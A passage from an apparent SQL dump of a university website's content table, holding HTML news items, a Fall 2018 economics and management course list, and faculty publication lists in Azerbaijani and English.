məqaləsindən danışdı','2016-cı il mayın 16-da Teleqraf.com xəbər saytında tanınmış diplomat, ictimai xadim, Azərbaycan siyasi mühacirətinin görkəmli tədqiqatçılarından biri olan Ramiz bəy Abutalıbovla “Ceyhun Hacıbəyliyə yazılan sevgi məktublarını oğluna geri qaytardım” adlı müsahibə yayınlanmışdır. ','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">2016-cı il\r\nmayın 16-da <strong><em>Teleqraf.com</em></strong> xəbər saytında tanınmış diplomat, ictimai xadim,\r\nAzərbaycan siyasi mühacirətinin görkəmli tədqiqatçılarından biri olan Ramiz bəy\r\nAbutalıbovla “Ceyhun Hacıbəyliyə yazılan sevgi məktublarını oğluna geri\r\nqaytardım” adlı müsahibə yayınlanmışdır. Müsahibədə P.Abutalıbov Xəzər\r\nUniversitetinin təsisçisi, Direktorlar və Qəyyumlar Şurasının sədri professor\r\nHamlet İsaxanlının Məhəmmədəmin Rəsulzadə haqqında yazdığı “Beşliyin ən kiçiyi”\r\nadlı məqalədən də danışmışdır.</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Müsahibəni\r\ntam şəkildə bu link vasitəsilə oxumaq olar:</p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\"><a href=\"http://www.teleqraf.com/news/97599\">http://www.teleqraf.com/news/97599</a></p>'),(1826,1125,'en','Faculty Members Participate in Symposium','On May 12-14, 2016, a conference entitled “I International Turkey-Azerbaijan Relations Symposium” was held at Kastamonu University (Turkey) in cooperation with Azerbaijani Tourism and Management University.','<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">On May 12-14, 2016, a conference\r\nentitled “I International Turkey-Azerbaijan Relations Symposium” was held at\r\nKastamonu University (Turkey) in cooperation with Azerbaijani Tourism and\r\nManagement University. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">Scholars and researchers from many\r\nTurkish and Azerbaijani universities participated in the symposium. Among them\r\nwere Dr. Zivar Huseynli and Dr. Elnura Azizova, instructors of the Khazar\r\nUniversity Department of Languages and Civilizations. Z. Huseynli presented a\r\npaper on “South Azerbaijani Poets in Turkey,” while A. Azizova presented\r\n“Turkey’s influence in bridging traditional and modern (or the transition\r\nperiod from people to nation) in Azerbaijan in the formation of Turkish-Muslim\r\nidentity: examples from the Fuyuzat Journal (1906-1907).” </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">At the end of the event, participants\r\nwere given certificates. </p>\r\n<p style=\"\" margin-bottom:0in;margin-bottom:.0001pt;text-align:justify;text-indent:.25in\"\"=\"\">&nbsp;</p>'),(1828,376,'az','Payız 2018 dərs yükü','Yaz 2018 dərs yükü','<p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\"><strong><em>Dərs yükü- Payız&nbsp;2018</em></strong></p><p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\"><strong><em><br></em></strong></p><table><tbody><tr><td style=\"background-color:#99ffff\">&nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Fənnin kodu</strong>&nbsp;&nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Fənnin adı</strong>&nbsp;&nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Ön şərtlər</strong>&nbsp;&nbsp;</td><td style=\"text-align:center;background-color:#99ffff\"><strong>Kredit sayı</strong>&nbsp;&nbsp;</td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>1-ci il</strong><strong></strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1&nbsp;</td><td>&nbsp;ENGL 101</td><td>&nbsp;İngilis\r\ndilinin əsasları-1&nbsp;(A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;8</td></tr><tr><td>2</td><td>&nbsp;ENGL 101</td><td>&nbsp;İngilis\r\ndilinin əsasları-1&nbsp;(B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;8</td></tr><tr><td>3</td><td>&nbsp;ENGL 101</td><td>&nbsp;İngilis\r\ndilinin əsasları-1&nbsp;(C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;8</td></tr><tr><td>4&nbsp;</td><td>&nbsp;ENGL 101</td><td>&nbsp;İngilis\r\ndilinin əsasları-1&nbsp;(D)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;8</td></tr><tr><td>5</td><td>&nbsp;CMS 101</td><td>&nbsp;İqtisadiyyatda və biznesdə kompüterin tətbiqi   (A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;CMS 101</td><td>&nbsp;İqtisadiyyatda və biznesdə kompüterin tətbiqi   (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>7</td><td>&nbsp;CMS 101</td><td>&nbsp;İqtisadiyyatda və biznesdə kompüterin tətbiqi   (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>8&nbsp;</td><td>&nbsp;CMS 101</td><td>&nbsp;İqtisadiyyatda və biznesdə kompüterin tətbiqi   (D)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;AZLL 101</td><td>&nbsp;Azərbaycan dili&nbsp;(A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>10&nbsp;</td><td>&nbsp;AZLL 101</td><td>&nbsp;Azərbaycan dili (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>11&nbsp;</td><td>&nbsp;AZLL 101</td><td>&nbsp;Azərbaycan dili (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>12&nbsp;</td><td>&nbsp;AZLL 101</td><td>&nbsp;Azərbaycan dili   (D)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>13&nbsp;</td><td>&nbsp;AZH 150</td><td>&nbsp;Azərbaycan tarixi&nbsp;(A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>14&nbsp;</td><td>&nbsp;AZH 150</td><td>&nbsp;Azərbaycan tarixi   (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>15&nbsp;</td><td>&nbsp;AZH 150</td><td>&nbsp;Azərbaycan tarixi   (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>16</td><td>&nbsp;AZH 150</td><td>&nbsp;Azərbaycan tarixi   (D)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>17</td><td>&nbsp;ECON 100</td><td>&nbsp;İqtisadiyyata giriş   (A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;3</td></tr><tr><td>18</td><td>&nbsp;ECON 100</td><td>&nbsp;İqtisadiyyata giriş   (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;3</td></tr><tr><td>19</td><td>&nbsp;ECON 100</td><td>&nbsp;İqtisadiyyata giriş   (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;3</td></tr><tr><td>20</td><td>&nbsp;ECON 103</td><td>&nbsp;Azərbaycan iqtisadiyyatı   (A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;3</td></tr><tr><td>21</td><td>&nbsp;ECON 103</td><td>&nbsp;Azərbaycan iqtisadiyyatı   (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;3</td></tr><tr><td>22&nbsp;</td><td>&nbsp;ECON 103</td><td>&nbsp;Azərbaycan iqtisadiyyatı   (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;3</td></tr><tr><td>23</td><td>&nbsp;THM 101</td><td>&nbsp;Turizmin əsasları  </td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td colspan=\"5\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>2-ci il</strong><strong></strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;ENGL 102</td><td>&nbsp;İngilis dilinin əsasları-&nbsp;2</td><td>&nbsp;ENGL 101</td><td>&nbsp;8</td></tr><tr><td>2</td><td>&nbsp;ENGL 103</td><td>&nbsp;Akademik\r\ningilis dili   (A)</td><td>&nbsp;ENGL 102</td><td>&nbsp;8</td></tr><tr><td>3</td><td>&nbsp;ENGL 103</td><td>&nbsp;Akademik\r\ningilis dili   (B)</td><td>&nbsp;ENGL 102</td><td>&nbsp;8</td></tr><tr><td>4&nbsp;</td><td>&nbsp;ENGL 103</td><td>&nbsp;Akademik\r\ningilis dili   (C)</td><td>&nbsp;ENGL 102</td><td>&nbsp;8</td></tr><tr><td>5</td><td>&nbsp;ENGL 216</td><td>&nbsp;İxtisas\r\npeşə üçün ingilis dili  </td><td>&nbsp;ENGL 103</td><td>&nbsp;6</td></tr><tr><td>6</td><td>&nbsp;FREN 201</td><td>&nbsp;Fransız\r\ndili- 1 (A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>7</td><td>&nbsp;FREN 201</td><td>&nbsp;Fransız\r\ndili- 1 (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>8</td><td>&nbsp;GERM 201</td><td>&nbsp;Alman\r\ndili- 1&nbsp;(A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;GERM 201</td><td>&nbsp;Alman\r\ndili- 1&nbsp;(B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>10&nbsp;</td><td>&nbsp;CHIN 201</td><td>&nbsp;Çin\r\ndili- 1</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>11</td><td>&nbsp;MATH 101</td><td>&nbsp;Riyazi analiz (A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>12</td><td>&nbsp;MATH 101</td><td>&nbsp;Riyazi analiz   (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>13</td><td>&nbsp;MATH 101</td><td>&nbsp;Riyazi analiz   (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>14</td><td>&nbsp;ACC 210</td><td>&nbsp;Mühasibat uçotunun əsasları   (A)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>15&nbsp;</td><td>&nbsp;ACC 210</td><td>&nbsp;Mühasibat uçotunun əsasları   (B)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>16&nbsp;</td><td>&nbsp;ACC 210</td><td>&nbsp;Mühasibat uçotunun əsasları   (C)</td><td>&nbsp;Yoxdur  </td><td>&nbsp;6</td></tr><tr><td>17</td><td>&nbsp;ECON 201</td><td>&nbsp;Mikroiqtisadiyyatın əsasları   (A)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>18&nbsp;</td><td>&nbsp;ECON 201</td><td>&nbsp;Mikroiqtisadiyyatın əsasları   (B)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>19</td><td>&nbsp;ECON 201</td><td>&nbsp;Mikroiqtisadiyyatın əsasları   (C)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td colspan=\"5\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>3-cü il</strong><strong></strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;MGT 310</td><td>&nbsp;Menecment və təşkilat   (A)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>2</td><td>&nbsp;MGT 310</td><td>&nbsp;Menecment və təşkilat   (B)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>3</td><td>&nbsp;MGT 310</td><td>&nbsp;Menecment və təşkilat   (C)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>4&nbsp;</td><td>&nbsp;FIN 310</td><td>&nbsp;Maliyyə menecmentinin əsasları   (A) &nbsp;</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td></tr><tr><td>5</td><td>&nbsp;FIN 310</td><td>&nbsp;Maliyyə menecmentinin əsasları   (B)</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;FIN 310</td><td>&nbsp;Maliyyə menecmentinin əsasları   (C)</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td></tr><tr><td>7</td><td>&nbsp;MKT 301</td><td>&nbsp;Marketinqin əsasları   (A)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>8&nbsp;</td><td>&nbsp;MKT 301</td><td>&nbsp;Marketinqin əsasları   (B)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;MKT 301</td><td>&nbsp;Marketinqin əsasları   (C)</td><td>&nbsp;ECON 100</td><td>&nbsp;6</td></tr><tr><td>10&nbsp;</td><td>&nbsp;BSA 215</td><td>&nbsp;İqtisadiyyat və biznes statistikası   (A)</td><td>&nbsp;MATH 101</td><td>&nbsp;6</td></tr><tr><td>11</td><td>&nbsp;BSA 215</td><td>&nbsp;İqtisadiyyat və biznes statistikası   (B)</td><td>&nbsp;MATH 101</td><td>&nbsp;6</td></tr><tr><td>12</td><td>&nbsp;BSA 215</td><td>&nbsp;İqtisadiyyat və biznes statistikası   (C)</td><td>&nbsp;MATH 101</td><td>&nbsp;6</td></tr><tr><td>13&nbsp;</td><td>&nbsp;ACC 340</td><td>&nbsp;Vergilər və vergitutma   (A)</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td></tr><tr><td>14&nbsp;</td><td>&nbsp;ACC 340</td><td>&nbsp;Vergilər və vergitutma   (B)</td><td>&nbsp;ACC 210</td><td>&nbsp;6</td></tr><tr><td>15&nbsp;</td><td>&nbsp;ACC 410</td><td>&nbsp;İdarəetmə uçotu  </td><td>&nbsp;ACC 210</td><td>&nbsp;6</td></tr><tr><td>16&nbsp;</td><td>&nbsp;ECON 310</td><td>&nbsp;Mikroiqtisadiyyat  </td><td>&nbsp;ECON 201</td><td>&nbsp;6</td></tr><tr><td>17</td><td>&nbsp;THM 301</td><td>&nbsp;Ecotourism</td><td>&nbsp;THM 100</td><td>&nbsp;6</td></tr><tr><td>18&nbsp;</td><td>&nbsp;THM 305</td><td>&nbsp;Tourism Transportation Systems</td><td>&nbsp;THM 100</td><td>&nbsp;6</td></tr><tr><td colspan=\"5\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;<br></td></tr><tr id=\"zebra\"><td>&nbsp;</td><td>&nbsp;<strong>4-cü il</strong><strong></strong></td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr><td>1</td><td>&nbsp;IB 440&nbsp;</td><td>&nbsp;Dünya ticarət təşkilatı və beynəlxalq ticarət  </td><td>&nbsp;ECON 201</td><td>&nbsp;6</td></tr><tr><td>2&nbsp;</td><td>&nbsp;ECON 440</td><td>&nbsp;Dövlət xərcləri və vergi inzibatçılığı  </td><td>&nbsp;ECON 201</td><td>&nbsp;6</td></tr><tr><td>3</td><td>&nbsp;ECON 390</td><td>&nbsp;Dünya iqtisadiyyatı  </td><td>&nbsp;ECON 202</td><td>&nbsp;6</td></tr><tr><td>4</td><td>&nbsp;MGT 440</td><td>&nbsp;İstehsalın və əməliyyatların idarə edilməsi  </td><td>&nbsp;MGT 310&nbsp;<br></td><td>&nbsp;6</td></tr><tr><td>5</td><td>&nbsp;FIN 420</td><td>&nbsp;İnvestisiyaların idarə edilməsi  </td><td>&nbsp;FIN 310</td><td>&nbsp;6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;MGT 450</td><td>&nbsp;İnsan resurslarının idarə edilməsi  </td><td>&nbsp;MGT 310</td><td>&nbsp;6</td></tr><tr><td>7&nbsp;</td><td>&nbsp;MGT 480</td><td>&nbsp;Liderliyin prinsipləri və tətbiqi  </td><td>&nbsp;MGT 310</td><td>&nbsp;6</td></tr><tr><td>8&nbsp;</td><td>&nbsp;MKT 450</td><td>&nbsp;Marketinq araşdırmaları  </td><td>&nbsp;MKT 301</td><td>&nbsp;6</td></tr><tr><td>9</td><td>&nbsp;MKT 420</td><td>&nbsp;Beynəlxalq marketinq  </td><td>&nbsp;MKT 301</td><td>&nbsp;6</td></tr><tr><td>10</td><td>&nbsp;ECON 425</td><td>&nbsp;Ətraf mühitin iqtisadiyyatı  </td><td>&nbsp;ECON 201</td><td>&nbsp;6</td></tr><tr><td>11&nbsp;</td><td>&nbsp;FIN 425</td><td>&nbsp;Sığorta işi  </td><td>&nbsp;FIN 310</td><td>&nbsp;6</td></tr></tbody></table><br><strong><em><br></em></strong><p><em><strong>MBA</strong></em></p><table><tbody><tr><td>1&nbsp;</td><td>&nbsp;ECON 830</td><td>&nbsp;Müəssisənin iqtisadiyyatı  </td><td>&nbsp;Yoxdur  </td><td>6</td></tr><tr><td>2&nbsp;</td><td>&nbsp;ACC 801</td><td>&nbsp;Maliyyə uçotu  </td><td>&nbsp;Yoxdur  </td><td>6</td></tr><tr><td>3&nbsp;</td><td>&nbsp;MGT 800</td><td>&nbsp;Tətbiqi biznes statistikası  </td><td>&nbsp;Yoxdur  </td><td>6&nbsp;</td></tr><tr><td>4</td><td>&nbsp;FIN 830</td><td>&nbsp;Maliyyə menecmenti  </td><td>&nbsp;ACC 801</td><td>6</td></tr><tr><td>5</td><td>&nbsp;MGT 810</td><td>&nbsp;Strateji biznes əlaqələri  </td><td>&nbsp;Yoxdur  </td><td>6</td></tr><tr><td>6&nbsp;</td><td>&nbsp;ECON 890</td><td>&nbsp;Economic Development and Migration</td><td>&nbsp;ECON 830</td><td>6</td></tr><tr><td>7&nbsp;</td><td>&nbsp;MGT 870</td><td>&nbsp;Layihələrin idarə edilməsi  </td><td>&nbsp;Yoxdur  </td><td>6&nbsp;</td></tr><tr><td>8</td><td>&nbsp;FIN 890</td><td>&nbsp;Advanced Corporate Finance</td><td>&nbsp;FIN 830</td><td>6&nbsp;</td></tr><tr><td>9&nbsp;</td><td>&nbsp;FIN 850</td><td>&nbsp;Maliyyə bazarları və institutları  </td><td>&nbsp;FIN 830</td><td>6</td></tr><tr><td>10</td><td>&nbsp;FIN 855</td><td>&nbsp;Vergi və vergi sistemi  </td><td>&nbsp;ACC 801</td><td>6</td></tr><tr><td>11&nbsp;</td><td>&nbsp;FIN 828</td><td>&nbsp;Beynəlxalq menecment</td><td>&nbsp;ECON 830</td><td>6&nbsp;</td></tr><tr><td>12&nbsp;</td><td>&nbsp;MKT 850</td><td>&nbsp;Marketing Research</td><td>&nbsp;MKT 840</td><td>6&nbsp;</td></tr><tr><td>13&nbsp;</td><td>&nbsp;ECON 960</td><td>&nbsp;Tədqiqat metodları  </td><td>&nbsp;MKT 840</td><td>6&nbsp;</td></tr><tr><td>14</td><td>&nbsp;MGT 850</td><td>&nbsp;Əməliyyatların idarə edilməsi və logistika  </td><td>&nbsp;ECON 830</td><td>6&nbsp;</td></tr></tbody></table><div></div>  <p margin-bottom:0in;margin-bottom:.0001pt;line-height:normal\"=\"\" style=\"background-image: url(\" ..=\"\" images=\"\" outline-p.png\");=\"\" text-align:=\"\" center;\"=\"\"><br></p><p><strong><strong>İqtisadiyyat və Menecment departamentinin müdiri&nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp; &nbsp;Ceyhun Məmmədov</strong></strong></p><p><strong><strong><br></strong></strong></p>'),(897,593,'az','Elmira Mirzəyeva','Elmira Mirzəyeva','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Elmira Mirzəyevanın elmi nəşrləri</p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"36\"><p>&nbsp;</p><p>#</p></td><td width=\"204\"><p><strong>İşin adı</strong></p></td><td width=\"97\"><p><strong>İşin növü</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>Müəlliflər&nbsp;</strong><strong></strong></p></td><td width=\"168\"><p><strong></strong><strong>Nəşriyyat,jurnal və s.adı</strong></p></td><td width=\"78\"><p><strong>İli&nbsp;</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Həcmi&nbsp;</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p>1</p></td><td width=\"204\"><p>Valideynliyin perinatal mədəniyyəti.<strong>&nbsp;</strong></p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-3<strong>&nbsp;</strong></p></td><td width=\"78\"><p>2008ci il sentyabr</p><p><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p>2</p></td><td width=\"204\"><p>Biz və uşaqlarımız.</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-1</p></td><td width=\"78\"><p>2007ci il oktyabr.</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p>3</p></td><td width=\"204\"><p>Ümüd və inam olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Azərbaycan Müəllimi qəzeti.</p></td><td width=\"78\"><p>28 aprel 1998ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p>4</p></td><td width=\"204\"><p>Arzular çin olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>16-30 aprel 2007 ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p>5</p></td><td width=\"204\"><p>&nbsp;Məktəb psixoloqu və onun iş planı.</p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>17-27- fevral 2007ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"36\"><p>6</p></td><td width=\"204\"><p>“Şagirdlərlə düzgün ünsiyyət qurmaq üçün&nbsp; psixoloqların yardımı vacibdir”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Vətəndaş cəmiyyəti” jurnalı</p></td><td width=\"78\"><p>fevral 2011, № 2,</p></td><td width=\"59\"><p>səh.62-63</p></td></tr><tr><td width=\"36\"><p>7</p></td><td width=\"204\"><p>“Valideynlər üçün yaddaş”,</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Anam və mən” jurnalı</p></td><td width=\"78\"><p>Mart 2011,№ 1,&nbsp;</p></td><td width=\"59\"><p>səh.13-14</p></td></tr></tbody></table>  <br></div>'),(898,593,'en',' Elmira Mirzayeva',' Elmira Mirzayeva','<div><br></div><div style=\"font-family:\'times new roman\', times, serif\"><br></div><div><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"204\"><p><strong>Title of publication</strong><strong>&nbsp;</strong></p></td><td width=\"97\"><p><strong>Publications type/publication activities</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"89\"><p><strong>All Authors</strong><strong>&nbsp;</strong></p></td><td width=\"168\"><p><strong>Publisher &amp; Place of&nbsp; Publication</strong><strong>&nbsp;</strong></p></td><td width=\"78\"><p><strong>Year Published</strong><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>Vol. &amp; Pages</strong><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Valideynliyin perinatal mədəniyyəti.<strong>&nbsp;</strong></p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-3<strong>&nbsp;</strong></p></td><td width=\"78\"><p>2008ci il sentyabr</p><p><strong>&nbsp;</strong></p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Biz və uşaqlarımız.</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Ailə, Qadın, Uşaq jurnalı N-1</p></td><td width=\"78\"><p>2007ci il oktyabr.</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Ümüd və inam olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Azərbaycan Müəllimi qəzeti.</p></td><td width=\"78\"><p>28 aprel 1998ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>Arzular çin olanda</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>16-30 aprel 2007 ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>&nbsp;Məktəb psixoloqu və onun iş planı.</p></td><td width=\"97\"><p>Məqalə<strong>&nbsp;</strong></p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>Məktəb psixoloqu qəzeti.</p></td><td width=\"78\"><p>17-27- fevral 2007ci il</p></td><td width=\"59\"><p><strong>&nbsp;</strong></p></td></tr><tr><td width=\"204\"><p>“Şagirdlərlə düzgün ünsiyyət qurmaq üçün&nbsp; psixoloqların yardımı vacibdir”</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Vətəndaş cəmiyyəti” jurnalı</p></td><td width=\"78\"><p>fevral 2011, № 2,</p></td><td width=\"59\"><p>səh.62-63</p></td></tr><tr><td width=\"204\"><p>“Valideynlər üçün yaddaş”,</p></td><td width=\"97\"><p>Məqalə</p></td><td width=\"89\"><p>Elmira Mirzəyeva</p></td><td width=\"168\"><p>“Anam və mən” jurnalı</p></td><td width=\"78\"><p>Mart 2011,№ 1,&nbsp;</p></td><td width=\"59\"><p>səh.13-14</p></td></tr></tbody></table>  <br></div>'),(899,594,'az',' Elnarə Gənizadə',' Elnarə Gənizadə','<div><br></div><div><p style=\"font-family:\'times new roman\', times, serif;font-size:medium\">Elnarə Gənizadənin elmi nəşrləri</p><table cellspacing=\"0\" cellpadding=\"0\" style=\"font-family:\'times new roman\', times, serif;font-size:medium\"><tbody><tr><td width=\"36\"><p>&nbsp;</p><p>#</p></td><td width=\"204\"><p><strong>İşin adı&nbsp;</strong><strong><br></strong></p></td><td width=\"97\"><p><strong>İşin növü</strong></p><p><strong>&nbsp;</strong></p></td><td width=\"125\"><p><strong>Müəllif&nbsp;</strong><strong></strong></p></td><td width=\"144\"><p><strong>Nəşriyyat,jurnal və s.adı</strong><strong>&nbsp;</strong></p></td><td width=\"66\"><p><strong>İli&nbsp;</strong><strong></strong></p></td><td width=\"59\"><p><strong>Həcmi</strong><strong></strong></p></td></tr><tr><td width=\"36\"><ol><li>1. &nbsp;</li></ol></td><td width=\"204\"><p>“Problems and achievements in preschool areas the last five years”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>Conference,&nbsp;&nbsp; Baku, Azerbaijan,</p></td><td width=\"66\"><p>July, 2-3, 2002</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"36\"><ol><li>2. &nbsp;</li></ol></td><td width=\"204\"><p>“Legislation, Policy, and Practices that support Inclusive Education in Azerbaijan”,&nbsp;</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA Conference,Bratislava</p></td><td width=\"66\"><p>October 25-28, 2006&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</p></td><td width=\"59\"><p>&nbsp;</p></td></tr><tr><td width=\"36\"><ol><li>3. &nbsp;</li></ol></td><td width=\"204\"><p>“Inclusive Education Initiatives in Azerbaijan”</p></td><td width=\"97\"><p>Thesis</p></td><td width=\"125\"><p>Elnara Ganizade</p></td><td width=\"144\"><p>ISSA, International Conference,&nbsp; Vilnius</p></td><td width=\"66\"><p>November 29-30,2007</p></td><td 